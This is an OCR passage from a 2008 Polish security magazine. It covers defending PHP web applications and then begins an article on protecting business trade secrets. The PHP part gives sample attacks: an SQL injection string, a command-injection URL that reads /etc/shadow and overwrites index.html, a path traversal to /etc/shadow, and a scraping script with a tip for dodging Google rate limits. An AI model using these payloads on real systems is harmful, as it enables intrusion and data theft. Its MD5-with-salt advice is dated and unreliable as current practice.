komentarza – wszystkie występujące
po nim komendy nie będą wykonywane.
W tym przypadku zostanie pominięta
druga część zapytania związana z
hasłem. Bardzo popularne jest również
wstrzyknięcie kodu
' OR 1=1;~~
. Tak
zmodyfikowane zapytanie wypisuje z
konkretnej tabeli wszystkie rekordy –
który bowiem który z nich jest niezgodny
z warunkiem
1=1
? Jak się obronić przed
tym atakiem? Przede wszystkim należy
stosować funkcję
addslashes()
, która
doda do potencjalnie niebezpiecznych
znaków slash (
\
). Możemy też stworzyć
klasę czy funkcję, która np. pobierając
na wejściu trzy argumenty sprawdzi,
Listing 6.
Fragment kodu strony odpowiedzialny za analizę numeru telefonu
CheckNumber(number)
{
if
(length(number)!
=
9
) document.forms[
0
].ok.value
=
0
;
if
(!is_numeric(number)) document.forms[
0
].ok.value
=
0
;
WyswietlPtaszkaBadzKrzyzyk(numer)
;
}
Listing 7.
Sprawdzenie, czy zmienna liczbowa ma poprawny format
if
(
is_numeric
(
$id
))
{
// tu kod odpowiadający za wybranie produktu
}
Listing 8.
Usprawnienie algorytmu MD5 – zastosowanie soli
moje_md5
(
$string
)
{
$string1
=
$string
.”sol123!
@#
”;
return
md5
(
$string1
)
}
Typy formularzy
GET umieszcza zmienne w pasku adresu, co ładnie prezentuje linki i pozwala na łatwą
i bezpośrednią zmianę tych danych. POST przesyła informacje przez przeglądarkę internetową
i uniemożliwia przesłanie linku z konkretnymi danymi, można dopiero je zmienić w formularzu.
OBRONA
64
HAKIN9 4/2008
BŁĘDY W APLIKACJACH PHP
65
HAKIN9
4/2008
czy nie zawierają one niebezpiecznych
znaków i przerobi na zapytanie do
bazy danych (np.
Sql::cmd('select',
'produkty', 'id=”'.$id.'”'
);). Jeżeli
mamy wykonać zapytanie typu
SELECT
* FROM PRODUKTY WHERE id=”
$id”
, warto wcześniej sprawdzić, czy
parametr funkcji jest rzeczywiście liczbą
– przykładowy kod weryfikujący znajduje
się na Listingu 7. Analogicznie postąpić
można z loginem (np. sprawdzając, czy
zawiera tylko litery i cyfry, ewentualnie
dopuszczalne znaki specjalne).
Passy bezpieczeństwa
Jeszcze jeden niezwykle istotny
element to hasła. W żadnym wypadku
nie można przechowywać ich w bazie
w czystej postaci (ang. plaintext).
Dzisiejszym standardem jest – mimo
znanych słabości – algorytm haszujący
MD5. Polecam jednak zastosowanie
dodatkowego mechanizmu tzw. soli
(ang. salt) – losowego ciągu znaków
dodawanego na początku lub końcu
danego wyrazu przed haszowaniem
– utrudnia to ataki bruteforce i
rainbowcrack, z predefiniowaną tablicą
deszyfrującą). Przykład zastosowania
soli zawarto w kodzie znajdującym się
na Listingu 8.
Dlaczego powinno się stosować
takie dodatkowe zabezpieczenia?
Sporo słyszeliśmy o projektach
typu rainbowcrack. Jak dla mnie,
hasła poniżej 13 znaków są w MD5
po prostu zbyt łatwe do złamania.
Dobrym pomysłem jest również
zamiana na 'porządniejszy' algorytm
– choćby SHA2, czy Blowfish. Także
do nich można dołożyć własną
modyfikację – na przykład sól.
Pamiętajmy, że podstawowym
obowiązkiem administratora jest
dbanie o bezpieczeństwo klientów.
Jeśli umożliwimy przejęcie haseł przez
kogoś obcego – na pewno wpłynie to
negatywnie na statystyki oglądalności
strony, nie mówiąc o możliwych
kłopotach innego rodzaju.
System zostawmy w spokoju
W żadnym wypadku nie wywołujmy
poleceń systemowych poprzez PHP.
Słyszałem kiedyś o pomyśle napisania
demona w PHP, który miałby wykonywać
określone działania co zdefiniowaną
liczbę sekund. Powiedzmy, że wyglądało
to tak:
$sekundy=$_POST['sek']; while(true)
{ system(„sleep „.$sekundy.”); coś(); }.
Zmienne w PHP najczęściej nie mają
zdefiniowanego typu. Napastnik
zawsze mógłby zrobić coś, co
nazwałbym PHP Injection, i wywołać
stronę z parametrem w URL
podobnym do ?sekundy=5;cat%20/
etc/shadow%20>%20/var/www/html/
index.html. Jeżeli już skrypt potrzebuje
dostępu do polecenia systemowego,
należy to odpowiednio zabezpieczyć. W
tym przypadku proponuję zrobić coś,
co znajduje się na Listingu 9. Warto
zapoznać się również z funkcjami języka
PHP, takimi jak
escapeshellarg()
czy
escapeshellcmd()
.
Łatwo wyobrazić sobie następującą
sytuację – skrypt PHP odpowiada za
wyświetlanie newsów, które na serwerze
są umieszczane w postaci plików o
nazwach np. 20010504.txt. Linki do
artykułów bazują na formularzu GET w
postaci http://adresstrony/show.php?fil
e=20010504.txt. Czy wywołanie newsa
o takiej nazwie jest trudne: http://
adresstrony/show.php?file=/etc/shadow?
Oczywiście należy ograniczyć dostęp
funkcjom czytającym pliki jedynie do
wskazanego katalogu.
Mówiąc o systemie, należy
wspomnieć o połączeniu aplikacji
internetowej napisanej w PHP z bazą
danych, np. MySQL. Zazwyczaj piszemy
wtedy plik config.php, który musi być
włączony do każdego pliku w naszej
aplikacji otwierającego połączenie z
bazą. W tym pliku znajdują się bardzo
ważne dane, jak nazwa użytkownika,
nazwa bazy danych i hasło. Jeżeli
na naszym serwerze udostępniamy
miejsce komuś innemu (a często
tak jest na serwerach uczelnianych,
Listing 9.
Zabezpieczenie przed zdalnym wykonaniem kodu
if
(
is_numeric
(
$sekundy
))
{
// tu funkcja
}
Listing 10.
Skrypt służący do automatycznego tworzenia zapytań
#!/bin/bash
TAB
=(a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9)
for
j
in
`seq 0 35`
do
for
i
in
`seq 0 35`
do
touch ${TAB[
$j
]}${TAB[
$i
]}.tmp
links http://adresstrony/szukaj.php?
query
=${TAB[
$j
]}${TAB[
$i
]} >
${TAB[
$j
]}${TAB[
$i
]}.tmp
done
done
exit 0
Projekt rainbowrack
Projekt rainbowrack – tworzenie tablic (tzw. Tęczowych), które pozwalają na odwrócenie jednostronnej
funkcji MD5 i podobnych, bazując na algorytmie przyśpieszającym ten proces. Tablica dotyczy
konkretnego zestawu znaków do ograniczonej długości hasza. Jeżeli wiele osób wygeneruje małe
cząstki tablicy, można je zebrać razem i stworzyć wielką tablice odwracającą algorytm haszujący.
Projekt rainbowcrack można znaleźć w Sieci pod adresem http://www.antsight.com/zsl/rainbowcrack, a
popularne zestawy tablic – http://www.milw0rm.com/cracker oraz http://rainbowcrack.com.
OBRONA
64
HAKIN9 4/2008
BŁĘDY W APLIKACJACH PHP
65
HAKIN9
4/2008
szkolnych, firmowych), należy zadbać o
odpowiednie prawa dostępu do pliku.
Najlepiej CHMOD 640 – zapis i odczyt
dla właściciela, odczyt dla serwera oraz
żadnych praw dla innych użytkowników!
Bazy danych
Abstrahując od sklepu – załóżmy, że
prowadzimy pewien katalog. Może być
to dowolny zbiór – np. firm w Polsce
zajmujących się wyrobem cukierków,
lista nazwisk, lista linków do stron.
Cokolwiek to nie jest – publikując,
zadbajmy o to, żebyśmy nie łamali
prawa. A teraz sprawa techniczna. Jak
uniknąć sytuacji, w której ktoś bezczelnie
skopiował nasze dane i opublikował je
na swojej stronie? Oglądalność naszej
witryny najprawdopodobniej by zmalała,
co spowodowałoby np. zmniejszenie
zysków z reklam na stronie. Podzielenie
listy na parę/set/tysięcy stron jest
pewnym pomysłem – aczkolwiek broni
jedynie przed laikami, którzy korzystają z
metod Copy'ego-Paste'a. Obrona w tym
przypadku jest bardzo skomplikowana
– można dodawać w źródle ukryte
znaki, które wyjdą na jaw dopiero
przy kopiowaniu i zepsują listę. Można
ograniczać ilość zapytań z jednego
adresu IP, czy nawet blokować podobne
zapytania z kilku IP. Przejście do kolejnej
strony można zrealizować w JavaScript.
Sprawa z pewnością nie jest prosta.
Jeżeli udostępniamy funkcję Szukaj i
przekazujemy parametr przez formularz
GET, przygotujmy się na sytuację,
w której haker napisze krótki skrypt,
wyglądający np. tak, jak na Listingu 10.
Wtedy blokujmy jego IP np. po 100
zapytaniach albo po 50 zapytaniach,
które różnią się tylko o jeden znak.
Co dzieje się, jeśli szukamy danych
w Google? Strona google.pl blokuje IP
po średnio 300 zapytaniach na jedna
godzinę. Daje to ok. 300 000 wyników
(z jednego zapytania wyciągniemy
tylko 1000 wyników). Jednak serwery
google.com są niezależne od tych z
Polski – tam również możemy wykonać
300 zapytań. Podobnie google.de,
google.it i tak dalej – a za godzinę
wracamy i rozpoczynamy wszystko
od początku. Domen krajowych
Google ma ok. 150 (nie wszystkie są
na różnych serwerach), ich adresy
znajdziemy na: http://www.google.pl/
language_tools?hl=pl . W tym przypadku
wystarczy wiec napisać kod, który różni
się od przedstawionego na Listingu
10 tym, że co 300 zapytań zmienia
końcówkę adresu, czyli links http:
//google.${DOMENA[$z]}/?q=...... gdzie
tablica DOMENA zawiera wpisy np. pl us
it fr de.
Jeżeli już o przeciążeniach mowa.
Z całym szacunkiem – ale co to za
firma, która swoją stronę internetową
umieszcza na którymś z darmowych
serwerów? Wykonanie paru tysięcy
odświeżeń nie wymaga nawet pisania
programu, wystarczy w Operze
bądź Firefoksie otworzyć kilkanaście
zakładek i ustawić odświeżanie np.
co 30 sekund. Bandwidth – czyli limit
(np. miesięczny) danych przesyłanych
przez serwer – od razu zostaje
przekroczony, a strona zawieszona.
Nie jest to zmora tylko darmowych
serwerów – nawet na płatnych, jeżeli
nie zablokujemy konkretnego IP po np.
tysiącu napływających z niego żądań
wyświetlenia strony, parę GB transferu
nietrudno zużyć przez jedną noc.
Socjotechniki
Akapit ten nie dotyczy już bezpośrednio
kodu stron internetowych, ale haseł,
które chronią dostępu do witryn. Nie
chcę tu mówić o zasadach tworzenia
haseł – 3 klasy znaków, długość co
najmniej 10 znaków itp. – a raczej o
częstotliwości ich zmieniania oraz samej
treści. Powiedzmy, że interesujemy się
łodziami podwodnymi oraz II wojną
światową. Wymyślając parę lat temu
hasło akurat wpadliśmy na orpdzik39.
Udzielając się na forach internetowych,
wiele razy wspominaliśmy o naszych
zainteresowaniach. Taktyki hakerskie
nie polegają tylko na włamywaniu się
na komputery czy strony internetowe.
To również poznawanie ofiary. Osoba,
która zna tylko nasz adres email, może
szybko znaleźć wiele innych informacji.
Google nie pokazuje tylko aktywnych
stron, ale posiada również archiwum
dostępne przy wynikach jako kopia.
Potężne archiwum Internetu znajduję się
na http://web.archive.org. Haker poznaje
naszą psychikę i zainteresowania, tworzy
listę wyrazów związanych z nami w jakiś
sposób i dokonuje ataku słownikowego.
Statystyki mówią, że hasła obecnie są
najczęściej składają się z 6-9 małych
liter, na końcu znajdują się zwykle dwie,
rzadziej jedna cyfra. Bardzo rzadko
hasła są dłuższe niż 12 znaków. Jeżeli
haker odgadnie hasło, znajdziemy się
w bardzo niemiłej sytuacji – może on
np. przeglądać naszą korespondencję
właściwie bez naszej wiedzy. Jak
się obronić? Nie jest to proste w
zastosowaniu – należy często zmieniać
hasła i w żadnym wypadku nie używać
tego samego na dwóch kontach. A
samo hasło nie powinno być jakkolwiek
z nami kojarzone – najlepiej, gdyby
było przypadkowym ciągiem znaków.
Wtedy metoda słownikowa na nic się nie
przyda, a jeżeli hasło jest dostatecznie
długie, metody brute force staną się
nieoptymalne czasowo.
Podsumowanie
Rozwój usług internetowych w Polsce
jest bardzo dynamiczny, ponieważ
każdy produkt, czy usługa potrzebuje
reklamy. Pomimo, że na promocję
w Internecie wydaje się nieznaczny
procent budżetu firmy (w porównaniu
do spotów w telewizji, banerów na
ulicach), jest to dość łatwy sposób na
wstępne 'rozkręcenie' biznesu. Obecnie
powstaje ogromna ilość małych firm
wykonujących strony internetowe, jednak
nie należy ufać całkowicie komuś
jedynie dlatego, że wystawia faktury VAT.
Również takie osoby mogą wykonać
stronę nieprofesjonalnie i umożliwić
atak hakerowi. Jeżeli zlecamy wykonanie
strony – zapytajmy programistę o to,
czy końcowy skrypt jest dostatecznie
bezpieczny. Natomiast jeśli to my
jesteśmy twórcami aplikacji – zawsze
warto kolejny raz przeczytać kod,
sprawdzając dogłębnie każdą funkcję,
niż później tłumaczyć się z dziurawca. W
tej branży ceni się solidność, a nie czas
wykonania – w końcu strona internetowa
ma w zamierzeniu funkcjonować jak
najdłużej.
Jakub Kałużny
Od kilku lat interesuje się bezpieczeństwem IT, w
szczególności aplikacji internetowych. Zaangażowany
w rozwój systemów zarządzania treścią (ang. CMS).
Fascynuje go kryptografia, jest zapalonym miłośnikiem
Linuksa.
Kontakt z autorem: gadulix@gmail.com
66
BEZPIECZNA FIRMA
HAKIN9 4/2008
P
rzepisy prawa nie określają, jak
należy chronić aktywa informacyjne,
pozostawiając w tym zakresie pełną
swobodę przedsiębiorcom co do metod i
sposobów ich ochrony.
Ochrona informacji biznesowych
Jak chronić tajemnice przedsiębiorstwa?
Informacja odgrywa w naszych czasach coraz
większa rolę i w funkcjonowaniu przedsiębiorstw
staje się ważniejsza niż dostęp do kapitału. Alvin
Tofler.
Współczesny biznes boryka się z
najróżniejszymi i wciąż mnożącymi się
zagrożeniami. Przetwarzanie coraz większej
ilości informacji w sposób elektroniczny, w
systemach informatycznych, powoduje, że
biznes tradycyjny staje się e-biznesem. Ryzyko
związane z pracą w sieciach komputerowych,
a w szczególności prowadzenie działalności
gospodarczej za pośrednictwem Internetu
sprawia, że zagadnienie ochrony informacji
biznesowych nabiera nowego wymiaru.
Powstaje pytanie, jak przedsiębiorcy mają
chronić swoje tajemnice i informacje biznesowe
posiadające wartość gospodarczą.
Tajemnica przedsiębiorstwa
Z pomocą przychodzi nam instytucja
tajemnicy przedsiębiorstwa. Stanowi ona,
zgodnie z art. 551 kodeksu cywilnego, jeden z
najistotniejszych składników przedsiębiorstwa.
ANDRZEJ GUZIK
Z ARTYKUŁU
DOWIESZ SIĘ
jak zapewnić ochronę
informacjom biznesowym,
jakie zastosować najlepsze
praktyki
i standardy ochrony.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawowe zasady
ochrony informacji.
Art. 11 ust. 4 ustawy o zwalczaniu nieuczciwej
konkurencji definiuje pojęcie tajemnicy
przedsiębiorstwa. Pod pojęciem tajemnicy
przedsiębiorstwa należy rozumieć nieujawnione
do wiadomości publicznej informacje:
techniczne, technologiczne, organizacyjne
przedsiębiorstwa lub inne informacje
posiadające wartość gospodarczą, co do
których przedsiębiorca podjął niezbędne
działania w celu zachowania ich poufności.
Należy nadmienić, że wszystkie powyższe
warunki muszą być spełnione łącznie.
Wówczas dopiero możemy mówić o tajemnicy
przedsiębiorstwa czy tajemnicy przedsiębiorcy.
Z definicji tajemnicy przedsiębiorstwa wynika,
że przedsiębiorca w celu zachowania tajemnicy
musi podjąć tzw. niezbędne działania. W
literaturze przedmiotu za niezbędne działania
uznaje się w szczególności: określenie
typów i rodzajów informacji wewnętrznych
przedsiębiorstwa stanowiących tajemnicę,
zasady i procedury postępowania z
tajemnicą, określenie obowiązku szkolenia,
określenie obowiązku złożenia oświadczenia
o znajomości zasad i przepisów tyczących się
tajemnicy przedsiębiorstwa oraz zobowiązanie
do ich przestrzegania.
W celu ochrony informacji biznesowych
stanowiących tajemnicę przedsiębiorstwa
dokumenty zawierające informację i nośniki
informacji oznacza się stosowną klauzulą,
a ich obieg powinien być nadzorowany
Stopień trudności
Ochrona
informacji
biznesowych
Spośród wszystkich tajemnic prawnie chronionych najbardziej
powszechny charakter w życiu gospodarczym ma tajemnica
przedsiębiorstwa, gdyż dotyczy wszystkich przedsiębiorców.
Instytucja tajemnicy przedsiębiorstwa służy ochronie zasobów
niematerialnych firmy.
67
OCHRONA INFORMACJI BIZNESOWYCH
HAKIN9
4/2008
(kontrolowany) zgodnie z zasadą
rozliczalności. Polskie przedsiębiorstwa
stosują następujące oznaczenia
(klauzule): tajemnica firmy, tajemnica
spółki, tajemnica przedsiębiorcy, poufne
firmy lub oznaczenia angielskie (w
firmach z kapitałem zagranicznym):
commercial in confidence, company
confidence, company secret itp.
Dobrą praktyką w celu ustanowienia
instytucji tajemnicy przedsiębiorstwa
jest przyjęcie i zakomunikowanie
pracownikom woli oraz interesu
najwyższego kierownictwa firmy co do
potrzeby ochrony własnych informacji
biznesowych. Wśród uregulowań
wewnętrznych normalizujących
ochronę tych informacji w
przedsiębiorstwie należy wymienić:
politykę bezpieczeństwa informacji
biznesowych, regulamin ochrony
tajemnicy przedsiębiorstwa, wykaz
informacji stanowiących tajemnicę
przedsiębiorstwa i szczegółowe
procedury bezpieczeństwa obejmujące
swym zasięgiem: bezpieczeństwo
osobowe, bezpieczeństwo fizyczne
i środowiskowe, bezpieczeństwo
dokumentów, nośników informacji i ich
obieg, bezpieczeństwo teleinformatyczne
oraz w szczególnych przypadkach
bezpieczeństwo przemysłowe.
Polityka bezpieczeństwa informacji
biznesowych – jako akt najwyższego
poziomu – powinna wyrażać wolę
najwyższego kierownictwa co do
potrzeby i konieczności ochrony
tych informacji, obowiązki właścicieli
informacji, wymagania techniczne
i organizacyjne oraz zakres
odpowiedzialności za ochronę tych
informacji. Stanowi ona dokument
programowy. Natomiast regulamin
ochrony tajemnicy przedsiębiorstwa,
wykaz informacji stanowiących
tajemnicę przedsiębiorstwa i procedury
bezpieczeństwa stanowią dokumenty
wykonawcze, które przynoszą nam
odpowiedź, w jaki sposób należy chronić
własne informacje biznesowe.
Wykaz informacji stanowiących
tajemnicę przedsiębiorstwa może
mieć charakter zamknięty lub
otwarty (ramowy) i powinien zawierać
rodzaje informacji podlegających
ochronie. Wykaz ten może obejmować
takie informacje, jak: informacje
organizacyjne, informacje kadrowo-
finansowe, informacje handlowe,
informacje techniczne i technologiczne
z ich podziałem na informacje
strategiczne, taktyczne i operacyjne.
Zasady ochrony tajemnicy
przedsiębiorstwa określone w
regulaminie powinny bazować na
najlepszych praktykach wynikających
z normy ISO 17799 i przepisów
wykonawczych do ustaw: ustawy o
ochronie danych osobowych i ustawy o
ochronie informacji niejawnych. Poziom
ochrony powinien być adekwatny do
wartości informacji: podstawowy – dla
informacji operacyjnych (bieżących),
mających krótkotrwałe znaczenie,
podwyższony – dla informacji
taktycznych (ważność tych informacji
określa się na okres od kilku miesięcy
do roku czasu) oraz wysoki – dla
informacji strategicznych (ważność tych
informacji określa się na okres powyżej roku).
Oczywiście podział ten jest umowny. Dobrą
praktyką jest, aby każda jednostka/komórka
organizacyjna przedsiębiorstwa określiła, jakie
informacje podlegają ochronie w jej ramach,
jaką wartość przedstawiają te informacje, z
jakim ryzykiem się wiążą i wreszcie – jakie
ewentualne straty dla firmy może przynieść
utrata ich poufności z tytułu nieuprawnionego
ujawnienia. O nadaniu dokumentowi
klauzuli 'tajemnica przedsiębiorstwa'
decyduje osoba podpisująca dokument.
To właściciel informacji najlepiej zna jej
wartość. Podstawą klasyfikacji informacji
jest wykaz informacji stanowiących
tajemnicę przedsiębiorstwa. Należy mieć
świadomość, że informacje stanowiące
tajemnicę przedsiębiorstwa chronimy nie
tylko w firmie, ale również poza firmą, w
trakcie spotkań czy delegacji, a także w
domu podczas rozmów.
Rysunek 1.
Zależności pomiędzy elementami bezpieczeństwa
Tabela 1.
Zawartość polityki bezpieczeństwa informacji biznesowych
Lp. Zawartość polityki bezpieczeństwa informacji biznesowych
1
Cel
2
Zakres
3
Zobowiązanie kierownictwa organizacji
4
Obowiązki kadry kierowniczej
5
Wymagania organizacyjne i techniczne przetwarzania informacji biznesowych
6
Odpowiedzialność za ochronę informacji biznesowych
7
Zakres rozpowszechnienia polityki
������
�
�
�
�
�
�
��
��
��
��
��
��
��
�
��
��
��
��
��
��������
����������
����������������������
�������������������
���������������
������������
����������
BEZPIECZNA FIRMA
68
HAKIN9 4/2008
OCHRONA INFORMACJI BIZNESOWYCH
69
HAKIN9
4/2008
Ograniczenia w dostępie
do tajemnic przedsiębiorstwa
Przepisy ustawy – prawo zamówień
publicznych dopuszczają pewne
ograniczenia związane z zasadą
jawności postępowania. (Co do zasady,
postępowanie o udzielenie zamówienia
publicznego jest jawne.) Przykładem
takiego ograniczenia jest zapis art. 8 ust.
3 ww. ustawy stanowiący, że zamawiający
nie może ujawniać informacji
zastrzeżonych przez wykonawcę jako
tajemnicę przedsiębiorstwa. Aby tak się
stało, wykonawca musi wyraźnie zastrzec,
że nie mogą one być udostępniane
zarówno innym przedsiębiorcom
biorącym udział w przetargu, jak i
każdej zainteresowanej osobie. Jest
to zapis, który warto wykorzystywać w
postępowaniu o zamówienie publiczne.
Również ustawa o dostępie do informacji
publicznej zawiera ograniczenia w
dostępie do tych informacji. Zgodnie z
treścią art. 5, prawo dostępu do informacji
publicznej podlega ograniczeniu w
zakresie i na zasadach określonych
w przepisach o ochronie informacji
niejawnych oraz o ochronie innych
tajemnic ustawowo chronionych (ust. 1), a
także ze względu na prywatność osoby
fizycznej lub tajemnicę przedsiębiorcy
(ust. 2). Warto korzystać z tej zasady.
System ochrony
tajemnicy przedsiębiorstwa
W celu ochrony informacji biznesowych
należy zbudować system ochrony
tajemnicy przedsiębiorstwa. W pierwszej
kolejności należy dokonać analizy
ryzyka, następnie dokonać klasyfikacji
informacji i dobrać zabezpieczenia.
Skuteczny system ochrony powinien być
kompleksowy i obejmować wszystkie
obszary działania przedsiębiorstwa. Na
system bezpieczeństwa firmy powinny
składać się przedsięwzięcia dotyczące
następujących segmentów (zagadnień):
po pierwsze – bezpieczeństwo
osobowe, po drugie – bezpieczeństwo
fizyczne i środowiskowe, po – trzecie
bezpieczeństwo dokumentów, nośników
informacji oraz ich obieg, po czwarte
– bezpieczeństwo teleinformatyczne
i (w szczególnych wypadkach)
bezpieczeństwo przemysłowe.
Bezpieczeństwo osobowe
Człowiek jest najsłabszym elementem
systemu ochrony informacji. Jak wynika
ze statystyk, około 80 % incydentów
związanych z przetwarzaniem informacji
spowodowanych jest przez czynnik
ludzki. Powiedzenie kadry decydują
o wszystkim jest jak najbardziej
prawdziwe.
Przetwarzanie informacji
biznesowych stanowiących tajemnicę
przedsiębiorstwa wymaga, aby
personel spełniał dodatkowe
wymagania. W przypadku przetwarzania
informacji niejawnych pracownik
powinien posiadać poświadczenie
bezpieczeństwa uprawniające do
dostępu do dokumentów i materiałów
o określonej klauzuli tajności (ściśle
tajne, tajne, poufne, zastrzeżone).
Poświadczenie bezpieczeństwa daje
rękojmię zachowania tajemnicy przez
zainteresowanego. W przypadku
przetwarzania danych osobowych
administrator danych wydaje osobie
przetwarzającej dane osobowe
upoważnienie do przetwarzania danych
osobowych. Z kolei dostęp do tajemnicy
przedsiębiorstwa (przedsiębiorcy)
wymaga od pracownika podpisania
zobowiązania do zachowania tajemnicy.
Warto w tym miejscu również
przytoczyć zapisy § 3 Rozporządzenia
Ministra Pracy i Polityki Socjalnej z dnia
28 maja 1996 r. w sprawie zakresu
prowadzenia przez pracodawców
dokumentacji w sprawach związanych
ze stosunkiem pracy oraz sposobu
Tabela 3.
Przykłady tajemnicy przedsiębiorstwa
Lp. Przykłady tajemnicy przedsiębiorstwa
1
wynalazki dające się do opatentowania
2
plany kampanii marketingowych
3
plany restrukturyzacji
4
wzory użytkowe lub zdobnicze
5
plany techniczne
6
sposoby zbierania informacji
7
listy klientów
8
metody kontroli jakości towarów i usług
9
sposoby marketingu
10 sposoby organizacji pracy
11 wyniki badań prowadzonych w przedsiębiorstwie
12 dane o wielkości produkcji i sprzedaży
13 źródła zaopatrzenia
14 miejsca zbytu
15 know-how (informacje produkcyjne, handlowe, projekty racjonalizatorskie)
Tabela 2.
Zawartość regulaminu ochrony tajemnicy przedsiębiorstwa
Lp.
Zawartość regulaminu ochrony tajemnicy przedsiębiorstwa
1
Postanowienia ogólne
2
Zasady klasyfikacji informacji
3
Zasady ochrony tajemnicy przedsiębiorstwa
4
Zasady udostępniania tajemnicy przedsiębiorstwa
5
Zakaz konkurencji
6
Szkolenie pracowników z zakresu ochrony tajemnicy przedsiębiorstwa
7
Odpowiedzialność za ochronę tajemnicy przedsiębiorstwa
8
Postanowienia końcowe
BEZPIECZNA FIRMA
68
HAKIN9 4/2008
OCHRONA INFORMACJI BIZNESOWYCH
69
HAKIN9
4/2008
prowadzenia akt osobowych. Ww.
paragraf stanowi, że: Pracodawca
przed dopuszczeniem pracownika
do pracy uzyskuje jego pisemne
potwierdzenie zapoznania się z treścią
regulaminu pracy oraz z przepisami i
zasadami dotyczącymi bezpieczeństwa
i higieny pracy, a także z zakresem
informacji objętych tajemnicą określoną
w obowiązujących ustawach dla
umówionego z pracownikiem rodzaju
pracy. Warto na co dzień korzystać z
tego zapisu.
Również w obrocie gospodarczym,
przed rozpoczęciem negocjacji
handlowych, coraz częściej obserwujemy
wśród przedsiębiorców praktykę
podpisywania umów o poufności.
Ryzyko wycieku informacji
gospodarczych z organizacji zmusza
przedsiębiorców do zajęcia się
problemem bezpieczeństwa personelu.
Najczęściej z firmy wyciekają informacje
biznesowe, dane personalne klientów
oraz własność intelektualna: pomysły
nowych rozwiązań czy kody źródłowe
oprogramowania. O bezpieczeństwie
kadrowym musimy myśleć już na
etapie rekrutacji personelu, następnie
monitorować je w czasie trwania
stosunku pracy, aż do momentu
rozwiązania z pracownikiem umowy o
pracę. Dotyczy to zwłaszcza kluczowego
personelu. Z menedżerami najwyższego
szczebla należy podpisać umowy o
zakazie konkurencji. Ważne jest, aby na
co dzień przestrzegać zasady 'wiedzy
koniecznej' (ang. need to know), a nie
zasady 'przyjemnie byłoby wiedzieć'
(ang. nice to know). W oparciu o role
w organizacji pracownicy powinni
posiadać określone prawa i mieć
zdefiniowany zakres dostępu do
zasobów informacyjnych, zwłaszcza w
systemach informatycznych. Uprawnienia
te powinny być okresowo przeglądane
i weryfikowane. Zgodnie z normą ISO
17799 bezpieczeństwo osobowe ma
na celu ograniczenie ryzyka błędu
ludzkiego, kradzieży, oszustwa lub
niewłaściwego użytkowania zasobów.
W aktach osobowych pracownika
powinny znaleźć się stosowne zapisy
dotyczące zachowania poufności lub
nieujawniania informacji pozyskanych
w czasie stosunku pracy, jak i po jego
zakończeniu (np. umowa o zakazie
Tabela 4.
Stopnie dojrzałości organizacji do zarządzania bezpieczeństwem informacji
Stopnie dojrzałości organizacji do zarządzania bezpieczeństwem informacji
Stopień
Nazwa
Charakterystyka
0
Brak świadomościt
brak zdefiniowania wymagań bezpieczeństwa
bezpieczeństwo traktowane jest jako problem poszczególnych użytkowników
I
Początkowy
świadomość potrzeby
kierownictwo uważa to za problem IT (typu: prawa dostępu, ochrona antywirusowa)
II
Intuicyjny
próby tworzenia zabezpieczeń
brak jednolitego podejścia
efekty zależne od zaangażowania osób zainteresowanych
III
Zdefiniowany
zdefiniowane zasady (w tym Polityka bezpieczeństwa) w całej organizacji
procedury bezpieczeństwa są utrzymywane i komunikowane
brak kontroli stosowania
IV
Zarządzany
jednolite podejście dla wszystkich komórek i wszystkich rozwiązań
obowiązuje perspektywa biznesu
funkcjonuje mechanizm kontroli stosowania
V
Optymalizowany
świadome zarządzanie ryzykiem
zgodność strategii bezpieczeństwa ze strategią biznesową
zapewnienie bezpieczeństwa traktowane jako proces (wiedza, doskonalenie)
Tabela 5.
Atrybuty informacji podlegających ochronie
Atrybuty
informacji
Bezpieczeństwo informacji
ISO
17799
Informacje
niejawne
Dane
osobowe
Tajemnica
przedsiębiorstwa
Tajemnica
przedsiębiorstwa
Poufność
Tak
Tak
Tak
Tak
Tak
Integralność
Tak
Tak
Tak
–
–
Dostępność
Tak
Tak
–
–
–
Rozliczalność
Tak
–
Tak
–
–
Autentyczność
Tak
–
–
–
–
Niezaprzeczalność Tak
–
–
–
–
Niezawodność
Tak
–
–
–
–
BEZPIECZNA FIRMA
70
HAKIN9 4/2008
OCHRONA INFORMACJI BIZNESOWYCH
71
HAKIN9
4/2008
konkurencji) i zapisy dotyczące
odpowiedzialności pracownika za
ochronę (bezpieczeństwo) informacji.
Kevin Mitnick w swojej książce
Sztuka podstępu pisze łamałem ludzi
nie hasła. Dlatego też należy cyklicznie
szkolić własny personel, uświadamiać
zagrożenia i wskazywać na potrzebę
ochrony informacji biznesowych.
Tematem szkoleń powinny być procedury
bezpieczeństwa wynikające z przyjętej
w organizacji polityki bezpieczeństwa
informacji, zwłaszcza zasady dostępu
do informacji i obiegu dokumentów,
procedury udostępniania i powierzania
przetwarzania informacji posiadających
wartość gospodarczą.
Kluczowe znaczenie dla
bezpieczeństwa ekonomicznego
organizacji ma odporność własnego
personelu na działania i metody
socjotechniczne stosowane przez
osoby zatrudnione w wywiadzie
konkurencyjnym i gospodarczym.
Kształtowanie świadomości pracowników
to najlepsza, najbardziej skuteczna,
najtańsza i wciąż niedoceniana
metoda ochrony informacji, na którą
stać wszystkich przedsiębiorców
– bez względu na wielkość instytucji.
Poddaję to pod rozwagę kierujących
organizacjami.
Bezpieczeństwo
fizyczne i środowiskowe
Ochrona fizyczna jest najstarszą
metodą ochrony zasobów materialnych
i informacyjnych. Stanowi pierwszą
linię obrony. Jeżeli w przedsiębiorstwie
nie wdrożono podstawowych środków
ochrony fizycznej, to nie można mówić
o jakimkolwiek bezpieczeństwie.
Zastosowane środki ochrony fizycznej
kształtują wizerunek firmy wśród klientów
i zapewniają poczucie bezpieczeństwa jej
pracownikom.
Norma ISO 17799 dotycząca
zarządzania bezpieczeństwem informacji
stanowi, że celem bezpieczeństwa
fizycznego i środowiskowego jest
zapobieganie nieuprawnionemu
dostępowi, uszkodzeniom i ingerencji w
pomieszczenia instytucji i jej informację.
Natomiast urządzenia do przetwarzania
krytycznych lub wrażliwych informacji
powinny być ulokowane w obszarach
bezpiecznych, chronionych wyznaczonym
obwodem zabezpieczającym z
odpowiednimi barierami i kontrolą
wstępu.
Polityka w zakresie ochrony fizycznej
instytucji powinna wynikać z jej strategii
biznesowej. Dobór zabezpieczeń należy
wykonywać w oparciu o przeprowadzaną
okresowo analizę ryzyka. Zastosowane
zabezpieczenia powinny być
współmierne do zidentyfikowanych
zagrożeń. Z uwagi na koszty należy
rozważyć wdrożenie następujących
środków ochrony:
• działania organizacyjne
(opracowanie regulaminów,
procedur),
• ochrona czynna (np. wynajęcie firmy
